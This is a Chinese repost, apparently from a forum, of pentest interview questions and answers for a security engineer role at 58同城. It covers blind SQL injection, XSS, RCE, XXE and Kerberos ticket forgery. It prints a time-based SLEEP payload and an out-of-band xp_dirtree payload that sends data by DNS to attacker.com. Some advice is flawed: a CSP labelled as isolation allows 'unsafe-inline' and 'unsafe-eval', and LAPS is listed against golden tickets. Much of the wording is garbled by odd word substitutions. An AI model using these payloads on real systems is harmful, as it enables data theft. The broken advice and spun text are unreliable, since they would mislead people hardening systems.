2025年渗出测试口试题总结-58同城-安全工程师(题目+答复)
网络安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,接待关注。https://i-blog.csdnimg.cn/direct/2ea6508e11f348769528e86055da4fc5.png目录
58同城-安全工程师
一、无回显SQL注入攻击本领及防御方案
攻击场景:当SQL注入漏洞无法通过页面回显数据,且存在1秒超时限制时,可接纳以下方法:
二、SQL注入修复:安全SDK计划指南
防御方案:
三、XSS防御进阶:富文本场景解决方案
场景:业务需支持用户输入HTML(如论坛编辑器),无法完全转义。
四、RCE防御:Java/Python场景最佳实践
五、XXE漏洞修复全策略
六、Windows域内横向移动:单子伪造攻防
攻击本领:
检测与响应:
总结:防御体系计划要点
58同城-安全工程师
场景题,sql注入如下
~select * from user where userid = {};~ response中没有返回信息,如何进行sql注入 ,1s就超时,如何进行sql注入
编写一个安全的SDK,sql注入的修复怎么写,预编译 白名单
xss的修复- 实体化转义
业务中需要使用到html的场景,无法通过实体化转义进行防御漏洞,如何处理
白名单限制+黑名单过滤 html标签白名单+事件白名单
RCE的修复(java,python) - 白名单限制+黑名单过滤
XXE的修复
window域内横向-票据伪造,白银票据和黄金票据一、无回显SQL注入攻击本领及防御方案
攻击场景:当SQL注入漏洞无法通过页面回显数据,且存在1秒超时限制时,可接纳以下方法:
[*]时间盲注(Time-Based Blind SQLi)
[*]原理:通过条件语句触发数据库延时操作,利用响应时间差异推断数据。
[*]示例Payload(MySQL): sql ' UNION SELECT IF(SUBSTRING(database(),1,1)='a', SLEEP(2), 1)--
[*]若数据库名首字母为a,则响应延长2秒,否则立即返回。
[*]绕过1秒限制:
[*]使用短时间函数(如SLEEP(0.5))多次触发,通过统计总延长推断数据。
[*]分阶段注入:先获取数据长度,再逐字符爆破(主动化工具如Sqlmap的--time-sec=0.5参数)。
[*]带外通信(OOB-Out of Band)
[*]原理:利用数据库函数发起DNS或HTTP请求外传数据。
[*]示例Payload(SQL Server): sql '; DECLARE @a VARCHAR(100)=SELECT TOP 1 column_name FROM table; EXEC('master..xp_dirtree "\\'+@a+'.attacker.com\test"')--
[*]数据通过DNS查询外泄到攻击者控制的域名服务器。
二、SQL注入修复:安全SDK计划指南
防御方案:
[*]预编译(参数化查询)
[*]代码示例(Java JDBC): java String sql = "SELECT * FROM user WHERE userid = ?"; PreparedStatement stmt = connection.prepareStatement(sql); stmt.setString(1, userInput); // 自动转义特殊字符
[*]关键点:禁止拼接SQL语句,所有动态值必须参数化。
[*]白名单过滤
[*]场景:当参数需限定为特定格式(如数字、枚举值)时。
[*]代码示例(Python): python if not userInput.isdigit(): raise ValueError("Invalid user ID")
[*]防御层叠加
[*]使用ORM框架(如Hibernate)的天然预编译特性。
[*]对异常请求添加WAF规则(如拦截SLEEP、BENCHMARK等关键词)。
三、XSS防御进阶:富文本场景解决方案
场景:业务需支持用户输入HTML(如论坛编辑器),无法完全转义。
[*]白名单+黑名单双重过滤
[*]工具:使用DOMPurify或OWASP Java HTML Sanitizer。
[*]白名单规则示例: json { "allowedTags": ["p", "strong", "em", "a"], "allowedAttributes": {"a": ["href"]}, "allowedSchemes": {"href": ["http", "https"]} }
[*]黑名单过滤:移除on*事故、javascript:协议等。
[*]沙箱隔离(CSP策略)
[*]HTTP头示例: Content-Security-Policy: default-src 'self'; script-src 'unsafe-inline' 'unsafe-eval'
四、RCE防御:Java/Python场景最佳实践
[*]Java修复方案
[*]白名单下令实行: java List<String> allowedCommands = Arrays.asList("ls", "pwd"); if (!allowedCommands.contains(userCommand)) { throw new SecurityException("Command not allowed"); } new ProcessBuilder(userCommand).start();
[*]禁用反射调用:通过SecurityManager限制Runtime.exec 。
[*]Python修复方案
[*]安全实行函数: python import shlex args = shlex.split(userInput) # 分割参数防止注入 subprocess.run(args, shell=False) # 禁止shell模式
五、XXE漏洞修复全策略
[*]禁用外部实体解析
[*]Java示例: java DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
[*]Python示例(lxml库): python parser = etree.XMLParser(resolve_entities=False, no_network=True)
[*]输入过滤:拦截包含<!DOCTYPE或<!ENTITY的XML内容。
六、Windows域内横向移动:单子伪造攻防
攻击本领:
[*]黄金单子(Golden Ticket)
[*]原理:利用krbtgt账户的NTLM Hash伪造TGT(单子授予单子),可访问恣意服务。
[*]防御:
[*]定期重置krbtgt密码(每180天,需两次重置确保旧单子失效)。
[*]启用LAPS(本地管理员密码解决方案)。
[*]白银单子(Silver Ticket)
[*]原理:伪造特定服务的ST(服务单子),无需域控参与。
[*]防御:
[*]启用服务账户的Kerberos AES加密(而非RC4)。
[*]监控服务SPN异常请求(犹如一用户频繁访问多服务)。
检测与响应:
[*]启用Windows事故日志审核Kerberos事故(事故ID 4768、4769)。
[*]使用EDR工具检测异常单子请求(如非工作时间单子使用)。
总结:防御体系计划要点
[*]分层防御:在网络层(WAF)、应用层(输入过滤)、数据层(预编译)设置多重防护。
[*]最小权限原则:数据库账户仅赋予必要权限(如禁止FILE_OPTIONS)。
[*]主动化检测:在CI/CD流程集成SAST/DAST工具(如Checkmarx、Burp Suite)。
[*]威胁建模:针对业务场景定制安全策略(如金融系统重点防御单子伪造)。
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
页:
[1]